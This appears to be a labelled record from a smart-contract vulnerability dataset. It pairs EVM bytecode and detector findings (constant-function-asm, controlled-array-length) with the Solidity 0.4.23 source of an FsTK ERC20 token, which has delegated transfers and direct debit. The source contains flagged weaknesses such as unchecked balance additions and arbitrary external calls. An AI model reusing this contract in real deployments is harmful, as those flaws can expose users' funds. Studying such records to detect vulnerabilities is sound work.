0000000000000815250604051808060200180602001838103835285818151815260200191508051906020019080838360005b8381101561138757808201518184015260208101905061136c565b50505050905090810190601f1680156113b45780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156113ed5780820151818401526020810190506113d2565b50505050905090810190601f16801561141a5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1611630565b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690837f01000000000000000000000000000000000000000000000000000000000000009004021790555080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555060018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160006101000a81548160ff0219169083151502179055507fbfeba4cb7f1f84f3a07f600949a153e3714b91dcbf556dc92841aaea5cf8f40f6040805190810160405280600481526020017f5041535300000000000000000000000000000000000000000000000000000000815250604051808060200180602001838103835284818151815260200191508051906020019080838360005b838110156115e55780820151818401526020810190506115ca565b50505050905090810190601f1680156116125780820380516001836020036101000a031916815260200191505b50838103825260008152602001602001935050505060405180910390a15b505050565b61163d61372c565b61164561372c565b6116508585856126f5565b80925081935050507fc1c4ba0c997b75bb7ce6bdfc53eaec7660aba52915730266c70c827de34f9c438282604051808060200180602001838103835285818151815260200191508051906020019080838360005b838110156116bf5780820151818401526020810190506116a4565b50505050905090810190601f1680156116ec5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561172557808201518184015260208101905061170a565b50505050905090810190601f1680156117525780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a15050505050565b61177061372c565b61177861372c565b61178061372c565b61178861372c565b600080611793612aa8565b9150811515611817576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f413030340000000000000000000000000000000000000000000000000000000081525081915080905095509550611983565b600090505b6003600089600019166000191681526020019081526020016000208054905081101561190c5760011515600360008a600019166000191681526020019081526020016000208281548110151561186e57fe5b906000526020600020906003020160020160009054906101000a900460ff1615151480156118dc57508960001916600360008a60001916600019168152602001908152602001600020828154811015156118c457fe5b90600052602060002090600302016001015460001916145b156118ff576118ec8a8a89612adc565b8094508195505050838395509550611983565b808060010191505061181c565b6040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4530303600000000000000000000000000000000000000000000000000000000815250819150809050955095505b5050505094509492505050565b61199861372c565b6119a061372c565b6119ae8b8b8b60008c612025565b80925081935050506040805190810160405280600481526020017f50415353000000000000000000000000000000000000000000000000000000008152506040518082805190602001908083835b602083101515611a2157805182526020820191506020810190506020830392506119fc565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916826040518082805190602001908083835b602083101515611a885780518252602082019150602081019050602083039250611a63565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916141515611bce577ff4b332f248f3a0983f8e77b24bb2fd24ceef42b983760c84432848ab3931b5868282604051808060200180602001838103835285818151815260200191508051906020019080838360005b83811015611b27578082015181840152602081019050611b0c565b50505050905090810190601f168015611b545780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015611b8d578082015181840152602081019050611b72565b50505050905090810190601f168015611bba5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1611ee1565b611bdb8787878787612f3d565b80925081935050507ff4b332f248f3a0983f8e77b24bb2fd24ceef42b983760c84432848ab3931b5868282604051808060200180602001838103835285818151815260200191508051906020019080838360005b83811015611c4a578082015181840152602081019050611c2f565b50505050905090810190601f168015611c775780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015611cb0578082015181840152602081019050611c95565b50505050905090810190601f168015611cdd5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a16040805190810160405280600481526020017f50415353000000000000000000000000000000000000000000000000000000008152506040518082805190602001908083835b602083101515611d575780518252602082019150602081019050602083039250611d32565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916826040518082805190602001908083835b602083101515611dbe5780518252602082019150602081019050602083039250611d99565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916141515611dfb57600080fd5b7ff4b332f248f3a0983f8e77b24bb2fd24ceef42b983760c84432848ab3931b5866040805190810160405280600481526020017f5041535300000000000000000000000000000000000000000000000000000000815250604051808060200180602001838103835284818151815260200191508051906020019080838360005b83811015611e96578082015181840152602081019050611e7b565b50505050905090810190601f168015611ec35780820380516001836020036101000a031916815260200191505b50838103825260008152602001602001935050505060405180910390a15b5050505050505050505050565b611ef661372c565b611efe61372c565b611f0b8787878787612f3d565b80925081935050507f07e9d9ac84c4b4297e998415b336dd8d784fc5d512ccca9665979aacf654034d8282604051808060200180602001838103835285818151815260200191508051906020019080838360005b83811015611f7a578082015181840152602081019050611f5f565b50505050905090810190601f168015611fa75780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015611fe0578082015181840152602081019050611fc5565b50505050905090810190601f16801561200d5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a150505050505050565b61202d61372c565b61203561372c565b6000806120653360027f010000000000000000000000000000000000000000000000000000000000000002613509565b15156120e6576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4130303200000000000000000000000000000000000000000000000000000000815250819150809050935093506126e9565b6120f08989613631565b915061211f8260047f010000000000000000000000000000000000000000000000000000000000000002613509565b15156121a0576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4130303300000000000000000000000000000000000000000000000000000000815250819150809050935093506126e9565b85156122be5786600019168960001916141515612232576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4530303700000000000000000000000000000000000000000000000000000000815250819150809050935093506126e9565b6000600102876000191614156122bd576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4530313000000000000000000000000000000000000000000000000000000000815250819150809050935093506126e9565b5b600060010287600019161415156124f35760001515600080896000191660001916815260200190815260200160002060020160009054906101000a900460ff1615151415612381576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4530303400000000000000000000000000000000000000000000000000000000815250819150809050935093506126e9565b612440876000808a600019166000191681526020019081526020016000206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156124365780601f1061240b57610100808354040283529160200191612436565b820191906000526020600020905b81548152906001019060200180831161241957829003601f168201915b5050505050613631565b90508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415156124f2576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4530303100000000000000000000000000000000000000000000000000000000815250819150809050935093506126e9565b5b600260008a6000191660001916815260200190815260200160002060000160009054906101000a900460ff161561259f576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4530303300000000000000000000000000000000000000000000000000000000815250819150809050935093506126e9565b85156125e1576001600260008b6000191660001916815260200190815260200160002060020160006101000a81548160ff021916908315150217905550612619565b6000600260008b6000191660001916815260200190815260200160002060020160006101000a81548160ff0219169083151502179055505b6001600260008b6000191660001916815260200190815260200160002060000160006101000a81548160ff02191690831515021790555086600260008b60001916600019168152602001908152602001600020600101816000191690555084600260008b60001916600019168152602001908152602001600020600301819055506040805190810160405280600481526020017f50415353000000000000000000000000000000000000000000000000000000008152508090506020604051908101604052806000815250935093505b50509550959350505050565b6126fd61372c565b61270561372c565b60006127343360027f010000000000000000000000000000000000000000000000000000000000000002613509565b15156127b5576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f413030320000000000000000000000000000000000000000000000000000000081525081915080905092509250612a9f565b6127bf8686613631565b90506127ee8160047f010000000000000000000000000000000000000000000000000000000000000002613509565b151561286f576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f413030330000000000000000000000000000000000000000000000000000000081525081915080905092509250612a9f565b600080876000191660001916815260200190815260200160002060020160009054906101000a900460ff16156129c65760026000876000191660001916815260200190815260200160002060000160009054906101000a900460ff161561294b576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f453030330000000000000000000000000000000000000000000000000000000081525081915080905092509250612a9f565b6040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f453030320000000000000000000000000000000000000000000000000000000081525081915080905092509250612a9f565b84600080886000191660001916815260200190815260200160002060000190805190602001906129f7929190613740565b50836000808860001916600019168152602001908152602001600020600101819055506001600080886000191660001916815260200190815260200160002060020160006101000a81548160ff0219169083151502179055506040805190810160405280600481526020017f50415353000000000000000000000000000000000000000000000000000000008152508090506020604051908101604052806000815250925092505b50935093915050565b6000612ad73360017f010000000000000000000000000000000000000000000000000000000000000002613509565b905090565b612ae461372c565b612aec61372c565b600060026000876000191660001916815260200190815260200160002060000160009054906101000a900460ff168015612b4f575060026000876000191660001916815260200190815260200160002060020160009054906101000a900460ff16155b15612bcf576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f453030330000000000000000000000000000000000000000000000000000000081525081915080905092509250612f34565b60006001028560001916141515612cc85760026000866000191660001916815260200190815260200160002060000160009054906101000a900460ff168015612c40575060026000866000191660001916815260200190815260200160002060020160009054906101000a900460ff165b15612cc0576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f453030330000000000000000000000000000000000000000000000000000000081525081915080905092509250612f34565b849050612ccc565b8590505b600080826000191660001916815260200190815260200160002060020160009054906101000a900460ff1615612ebd578373ffffffffffffffffffffffffffffffffffffffff16612dd28260008085600019166000191681526020019081526020016000206000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612dc85780601f10612d9d57610100808354040283529160200191612dc8565b820191906000526020600020905b815481529060010190602001808311612dab57829003601f168201915b5050505050613631565b73ffffffffffffffffffffffffffffffffffffffff16141515612e6a576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f453030350000000000000000000000000000000000000000000000000000000081525081915080905092509250612f34565b6040805190810160405280600481526020017f5041535300000000000000000000000000000000000000000000000000000000815250809050602060405190810160405280600081525092509250612f34565b6040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4530303400000000000000000000000000000000000000000000000000000000815250819150809050925092505b50935093915050565b612f4561372c565b612f4d61372c565b612f5561372c565b612f5d61372c565b60008090505b600360008760001916600019168152602001908152602001600020805490508110156130b0576001151560036000886000191660001916815260200190815260200160002082815481101515612fb557fe5b906000526020600020906003020160020160009054906101000a900460ff161515148015613023575089600019166003600088600019166000191681526020019081526020016000208281548110151561300b57fe5b90600052602060002090600302016001015460001916145b156130a3576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4530303200000000000000000000000000000000000000000000000000000000815250819150809050945094506134fc565b8080600101915050612f63565b600060010288600019161415156131a25760026000896000191660001916815260200190815260200160002060000160009054906101000a900460ff168015613121575060026000896000191660001916815260200190815260200160002060020160009054906101000a900460ff165b156131a1576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4530303900000000000000000000000000000000000000000000000000000000815250819150809050945094506134fc565b5b60006001028860001916141561322d576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4530313000000000000000000000000000000000000000000000000000000000815250819150809050945094506134fc565b600080896000191660001916815260200190815260200160002060020160009054906101000a900460ff1615156132d9576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4530313100000000000000000000000000000000000000000000000000000000815250819150809050945094506134fc565b6132e48a8a896126f5565b80935081945050506040805190810160405280600481526020017f50415353000000000000000000000000000000000000000000000000000000008152506040518082805190602001908083835b6020831015156133575780518252602082019150602081019050602083039250613332565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916836040518082805190602001908083835b6020831015156133be5780518252602082019150602081019050602083039250613399565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916141515613401578282945094506134fc565b600360008760001916600019168152602001908152602001600020805480600101828161342e91906137c0565b916000526020600020906003020160006060604051908101604052808c6000191681526020018e600019168152602001600115158152509091909150600082015181600001906000191690556020820151816001019060001916905560408201518160020160006101000a81548160ff0219169083151502179055505050506040805190810160405280600481526020017f50415353000000000000000000000000000000000000000000000000000000008152508090506020604051908101604052806000815250945094505b5050509550959350505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff161561362657817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90047f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415613625576001905061362b565b5b600090505b92915050565b6000806000806041855114151561364b5760009350613723565b602185015192506041850151915060018501519050601b8160ff16101561367357601b810190505b601b8160ff161415801561368b5750601c8160ff1614155b156136995760019350613723565b600186828585604051600081526020016040526000604051602001526040518085600019166000191681526020018460ff1660ff16815260200183600019166000191681526020018260001916600019168152602001945050505050602060405160208103908084039060008661646e5a03f1151561371757600080fd5b50506020604051035193505b50505092915050565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061378157805160ff19168380011785556137af565b828001600101855582156137af579182015b828111156137ae578251825591602001919060010190613793565b5b5090506137bc91906137f2565b5090565b8154818355818115116137ed576003028160030283600052602060002091820191016137ec9190613817565b5b505050565b61381491905b808211156138105760008160009055506001016137f8565b5090565b90565b61385791905b808211156138535760008082016000905560018201600090556002820160006101000a81549060ff02191690555060030161381d565b5090565b905600a165627a7a72305820772cd7c33d4a840772fecc18ed9a184619d46ec3c6ca2797df3d200d8dbe2bef0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,051 |
0xc21f593c55f3e6a7f96e7c3f103c4d6bff8e5559
|
pragma solidity ^0.4.23;
pragma experimental "v0.5.0";
pragma experimental ABIEncoderV2;
library AddressExtension {
function isValid(address _address) internal pure returns (bool) {
return 0 != _address;
}
function isAccount(address _address) internal view returns (bool result) {
assembly {
result := iszero(extcodesize(_address))
}
}
function toBytes(address _address) internal pure returns (bytes b) {
assembly {
let m := mload(0x40)
mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, _address))
mstore(0x40, add(m, 52))
b := m
}
}
}
library Math {
struct Fraction {
uint256 numerator;
uint256 denominator;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a * b;
require((a == 0) || (r / a == b));
}
function div(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a - b) <= a);
}
function add(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a + b) >= a);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x >= y ? x : y;
}
function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
r /= d;
} else {
r = mul(value / d, m);
}
}
function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
r /= d;
if (r % d != 0) {
r += 1;
}
} else {
r = mul(value / d, m);
if (value % d != 0) {
r += 1;
}
}
}
function mul(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.numerator, f.denominator);
}
function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.numerator, f.denominator);
}
function div(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.denominator, f.numerator);
}
function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.denominator, f.numerator);
}
}
contract FsTKAuthority {
function isAuthorized(address sender, address _contract, bytes data) public view returns (bool);
function isApproved(bytes32 hash, uint256 approveTime, bytes approveToken) public view returns (bool);
function validate() public pure returns (bool);
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address owner) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
contract SecureERC20 is ERC20 {
event SetERC20ApproveChecking(bool approveChecking);
function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool);
function increaseAllowance(address spender, uint256 value) public returns (bool);
function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool);
function setERC20ApproveChecking(bool approveChecking) public;
}
contract FsTKToken {
event SetupDirectDebit(address indexed debtor, address indexed receiver, DirectDebitInfo info);
event TerminateDirectDebit(address indexed debtor, address indexed receiver);
event WithdrawDirectDebitFailure(address indexed debtor, address indexed receiver);
event SetMetadata(string metadata);
event SetLiquid(bool liquidity);
event SetDelegate(bool isDelegateEnable);
event SetDirectDebit(bool isDirectDebitEnable);
struct DirectDebitInfo {
uint256 amount;
uint256 startTime;
uint256 interval;
}
struct DirectDebit {
DirectDebitInfo info;
uint256 epoch;
}
struct Instrument {
uint256 allowance;
DirectDebit directDebit;
}
struct Account {
uint256 balance;
uint256 nonce;
mapping (address => Instrument) instruments;
}
function spendableAllowance(address owner, address spender) public view returns (uint256);
function transfer(uint256[] data) public returns (bool);
function transferAndCall(address to, uint256 value, bytes data) public payable returns (bool);
function delegateTransferAndCall(
uint256 nonce,
uint256 gasAmount,
address to,
uint256 value,
bytes data,
uint8 v,
bytes32 r,
bytes32 s
) public returns (bool);
function directDebitOf(address debtor, address receiver) public view returns (DirectDebit);
function setupDirectDebit(address receiver, DirectDebitInfo info) public returns (bool);
function terminateDirectDebit(address receiver) public returns (bool);
function withdrawDirectDebit(address debtor) public returns (bool);
function withdrawDirectDebit(address[] debtors, bool strict) public returns (bool result);
}
contract AbstractToken is SecureERC20, FsTKToken {
using AddressExtension for address;
using Math for uint256;
modifier liquid {
require(isLiquid);
_;
}
modifier canUseDirectDebit {
require(isDirectDebitEnable);
_;
}
bool public erc20ApproveChecking;
bool public isLiquid = true;
bool public isDelegateEnable;
bool public isDirectDebitEnable;
string public metadata;
mapping(address => Account) internal accounts;
constructor(string _metadata) public {
metadata = _metadata;
}
function balanceOf(address owner) public view returns (uint256) {
return accounts[owner].balance;
}
function allowance(address owner, address spender) public view returns (uint256) {
return accounts[owner].instruments[spender].allowance;
}
function transfer(address to, uint256 value) public liquid returns (bool) {
Account storage senderAccount = accounts[msg.sender];
uint256 senderBalance = senderAccount.balance;
require(value <= senderBalance);
senderAccount.balance = senderBalance - value;
accounts[to].balance += value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public liquid returns (bool) {
Account storage fromAccount = accounts[from];
uint256 fromBalance = fromAccount.balance;
Instrument storage senderInstrument = fromAccount.instruments[msg.sender];
uint256 senderAllowance = senderInstrument.allowance;
require(value <= fromBalance);
require(value <= senderAllowance);
fromAccount.balance = fromBalance - value;
senderInstrument.allowance = senderAllowance - value;
accounts[to].balance += value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
if (erc20ApproveChecking) {
require((value == 0) || (spenderInstrument.allowance == 0));
}
spenderInstrument.allowance = value;
emit Approval(msg.sender, spender, value);
return true;
}
function setERC20ApproveChecking(bool approveChecking) public {
emit SetERC20ApproveChecking(erc20ApproveChecking = approveChecking);
}
function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
require(spenderInstrument.allowance == expectedValue);
spenderInstrument.allowance = newValue;
emit Approval(msg.sender, spender, newValue);
return true;
}
function increaseAllowance(address spender, uint256 value) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
uint256 newValue = spenderInstrument.allowance.add(value);
spenderInstrument.allowance = newValue;
emit Approval(msg.sender, spender, newValue);
return true;
}
function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool) {
Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender];
uint256 currentValue = spenderInstrument.allowance;
uint256 newValue;
if (strict) {
newValue = currentValue.sub(value);
} else if (value < currentValue) {
newValue = currentValue - value;
}
spenderInstrument.allowance = newValue;
emit Approval(msg.sender, spender, newValue);
return true;
}
function setMetadata0(string _metadata) internal {
emit SetMetadata(metadata = _metadata);
}
function setLiquid0(bool liquidity) internal {
emit SetLiquid(isLiquid = liquidity);
}
function setDelegate(bool delegate) public {
emit SetDelegate(isDelegateEnable = delegate);
}
function setDirectDebit(bool directDebit) public {
emit SetDirectDebit(isDirectDebitEnable = directDebit);
}
function spendableAllowance(address owner, address spender) public view returns (uint256) {
Account storage ownerAccount = accounts[owner];
return Math.min(
ownerAccount.instruments[spender].allowance,
ownerAccount.balance
);
}
function transfer(uint256[] data) public liquid returns (bool) {
Account storage senderAccount = accounts[msg.sender];
uint256 totalValue;
for (uint256 i = 0; i < data.length; i++) {
address receiver = address(data[i] >> 96);
uint256 value = data[i] & 0xffffffffffffffffffffffff;
totalValue = totalValue.add(value);
accounts[receiver].balance += value;
emit Transfer(msg.sender, receiver, value);
}
uint256 senderBalance = senderAccount.balance;
require(totalValue <= senderBalance);
senderAccount.balance = senderBalance - totalValue;
return true;
}
function transferAndCall(address to, uint256 value, bytes data) public payable liquid returns (bool) {
require(to != address(this));
require(transfer(to, value));
require(data.length >= 68);
assembly {
mstore(add(data, 36), value)
mstore(add(data, 68), caller)
}
require(to.call.value(msg.value)(data));
return true;
}
function delegateTransferAndCall(
uint256 nonce,
uint256 gasAmount,
address to,
uint256 value,
bytes data,
uint8 v,
bytes32 r,
bytes32 s
)
public
liquid
returns (bool)
{
require(isDelegateEnable);
require(to != address(this));
address signer = ecrecover(
keccak256(nonce, gasAmount, to, value, data),
v,
r,
s
);
Account storage signerAccount = accounts[signer];
require(nonce == signerAccount.nonce);
signerAccount.nonce = nonce.add(1);
uint256 signerBalance = signerAccount.balance;
uint256 total = value.add(gasAmount);
require(total <= signerBalance);
signerAccount.balance = signerBalance - total;
accounts[to].balance += value;
emit Transfer(signer, to, value);
accounts[msg.sender].balance += gasAmount;
emit Transfer(signer, msg.sender, gasAmount);
if (!to.isAccount()) {
require(data.length >= 68);
assembly {
mstore(add(data, 36), value)
mstore(add(data, 68), signer)
}
require(to.call(data));
}
return true;
}
function directDebitOf(address debtor, address receiver) public view returns (DirectDebit) {
return accounts[debtor].instruments[receiver].directDebit;
}
function setupDirectDebit(
address receiver,
DirectDebitInfo info
)
public
returns (bool)
{
accounts[msg.sender].instruments[receiver].directDebit = DirectDebit({
info: info,
epoch: 0
});
emit SetupDirectDebit(msg.sender, receiver, info);
return true;
}
function terminateDirectDebit(address receiver) public returns (bool) {
delete accounts[msg.sender].instruments[receiver].directDebit;
emit TerminateDirectDebit(msg.sender, receiver);
return true;
}
function calculateTotalDirectDebitAmount(uint256 amount, uint256 epochNow, uint256 epochLast) pure private returns (uint256) {
require(amount > 0);
require(epochNow > epochLast);
return (epochNow - epochLast).mul(amount);
}
function withdrawDirectDebit(address debtor) public liquid canUseDirectDebit returns (bool) {
Account storage debtorAccount = accounts[debtor];
uint256 debtorBalance = debtorAccount.balance;
DirectDebit storage directDebit = debtorAccount.instruments[msg.sender].directDebit;
uint256 epoch = block.timestamp.sub(directDebit.info.startTime) / directDebit.info.interval + 1;
uint256 amount = calculateTotalDirectDebitAmount(directDebit.info.amount, epoch, directDebit.epoch);
require(amount <= debtorBalance);
debtorAccount.balance = debtorBalance - amount;
accounts[msg.sender].balance += amount;
directDebit.epoch = epoch;
emit Transfer(debtor, msg.sender, amount);
return true;
}
function withdrawDirectDebit(address[] debtors, bool strict) public liquid canUseDirectDebit returns (bool result) {
Account storage receiverAccount = accounts[msg.sender];
result = true;
for (uint256 i = 0; i < debtors.length; i++) {
address debtor = debtors[i];
Account storage debtorAccount = accounts[debtor];
uint256 debtorBalance = debtorAccount.balance;
DirectDebit storage directDebit = debtorAccount.instruments[msg.sender].directDebit;
uint256 epoch = block.timestamp.sub(directDebit.info.startTime) / directDebit.info.interval + 1;
uint256 amount = calculateTotalDirectDebitAmount(directDebit.info.amount, epoch, directDebit.epoch);
if (amount > debtorBalance) {
if (strict) {
revert();
}
result = false;
emit WithdrawDirectDebitFailure(debtor, msg.sender);
} else {
debtorAccount.balance = debtorBalance - amount;
receiverAccount.balance += amount;
directDebit.epoch = epoch;
emit Transfer(debtor, msg.sender, amount);
}
}
}
}
contract Authorizable {
event SetFsTKAuthority(FsTKAuthority indexed _address);
modifier onlyFsTKAuthorized {
require(fstkAuthority.isAuthorized(msg.sender, this, msg.data));
_;
}
modifier onlyFsTKApproved(bytes32 hash, uint256 approveTime, bytes approveToken) {
require(fstkAuthority.isApproved(hash, approveTime, approveToken));
_;
}
FsTKAuthority internal fstkAuthority;
constructor(FsTKAuthority _fstkAuthority) internal {
fstkAuthority = _fstkAuthority;
}
function setFsTKAuthority(FsTKAuthority _fstkAuthority) public onlyFsTKAuthorized {
require(_fstkAuthority.validate());
emit SetFsTKAuthority(fstkAuthority = _fstkAuthority);
}
}
contract IssuerContract {
using AddressExtension for address;
event SetIssuer(address indexed _address);
modifier onlyIssuer {
require(issuer == msg.sender);
_;
}
address public issuer;
constructor(address _issuer) internal {
issuer = _issuer;
}
function setIssuer(address _address) public onlyIssuer {
emit SetIssuer(issuer = _address);
}
}
contract SmartToken is AbstractToken, IssuerContract, Authorizable {
string public name;
string public symbol;
uint256 public totalSupply;
uint8 public constant decimals = 18;
constructor(
address _issuer,
FsTKAuthority _fstkAuthority,
string _name,
string _symbol,
uint256 _totalSupply,
string _metadata
)
AbstractToken(_metadata)
IssuerContract(_issuer)
Authorizable(_fstkAuthority)
public
{
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
accounts[_issuer].balance = _totalSupply;
emit Transfer(address(0), _issuer, _totalSupply);
}
function setERC20ApproveChecking(bool approveChecking) public onlyIssuer {
AbstractToken.setERC20ApproveChecking(approveChecking);
}
function setDelegate(bool delegate) public onlyIssuer {
AbstractToken.setDelegate(delegate);
}
function setDirectDebit(bool directDebit) public onlyIssuer {
AbstractToken.setDirectDebit(directDebit);
}
function setMetadata(
string infoUrl,
uint256 approveTime,
bytes approveToken
)
public
onlyIssuer
onlyFsTKApproved(keccak256(approveTime, this, msg.sig, infoUrl), approveTime, approveToken)
{
setMetadata0(infoUrl);
}
function setLiquid(
bool liquidity,
uint256 approveTime,
bytes approveToken
)
public
onlyIssuer
onlyFsTKApproved(keccak256(approveTime, this, msg.sig, liquidity), approveTime, approveToken)
{
setLiquid0(liquidity);
}
}
|
0x6080604052600436106101ab5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166303dcead281146101b057806306fdde03146101e6578063095ea7b3146102085780630ade71421461023557806318160ddd1461025557806319261e6f146102775780631d14384814610299578063218e6877146102bb57806323b872dd146102db57806324a73e5f146102fb578063313ce5671461031b578063392f37e91461033d57806339509351146103525780633c42f95a146103725780634000aea014610392578063426a8493146103a55780635551b6b6146103c557806355cc4e57146103da5780635d272468146103fa5780635d71cf461461040f578063643f0e2a1461042f57806370a082311461044f578063712c0c5a1461046f5780637bc0e0051461048f578063806333c4146104af57806395d89b41146104cf578063a196bea0146104e4578063a9059cbb146104f9578063af488ca314610519578063b39e1c6c14610539578063b5e3641714610559578063dd62ed3e14610579578063df17c4b114610599578063ef765af8146105b9575b600080fd5b3480156101bc57600080fd5b506101d06101cb3660046124cb565b6105ce565b6040516101dd9190612af5565b60405180910390f35b3480156101f257600080fd5b506101fb610648565b6040516101dd9190612ac5565b34801561021457600080fd5b50610228610223366004612582565b6106f4565b6040516101dd9190612a4c565b34801561024157600080fd5b506102286102503660046124ad565b6107c4565b34801561026157600080fd5b5061026a61084a565b6040516101dd9190612b03565b34801561028357600080fd5b506102976102923660046126fe565b610850565b005b3480156102a557600080fd5b506102ae610884565b6040516101dd9190612a06565b3480156102c757600080fd5b506102976102d63660046126fe565b6108a0565b3480156102e757600080fd5b506102286102f6366004612505565b6108d1565b34801561030757600080fd5b506102286103163660046125b2565b6109d1565b34801561032757600080fd5b50610330610ab0565b6040516101dd9190612b11565b34801561034957600080fd5b506101fb610ab5565b34801561035e57600080fd5b5061022861036d366004612582565b610b2d565b34801561037e57600080fd5b5061029761038d366004612779565b610bf5565b6102286103a03660046125f5565b610e31565b3480156103b157600080fd5b506102286103c0366004612650565b610f4d565b3480156103d157600080fd5b5061022861100a565b3480156103e657600080fd5b506102976103f53660046124ad565b611019565b34801561040657600080fd5b506102286110b0565b34801561041b57600080fd5b5061026a61042a3660046124cb565b6110be565b34801561043b57600080fd5b5061029761044a36600461275b565b61110b565b34801561045b57600080fd5b5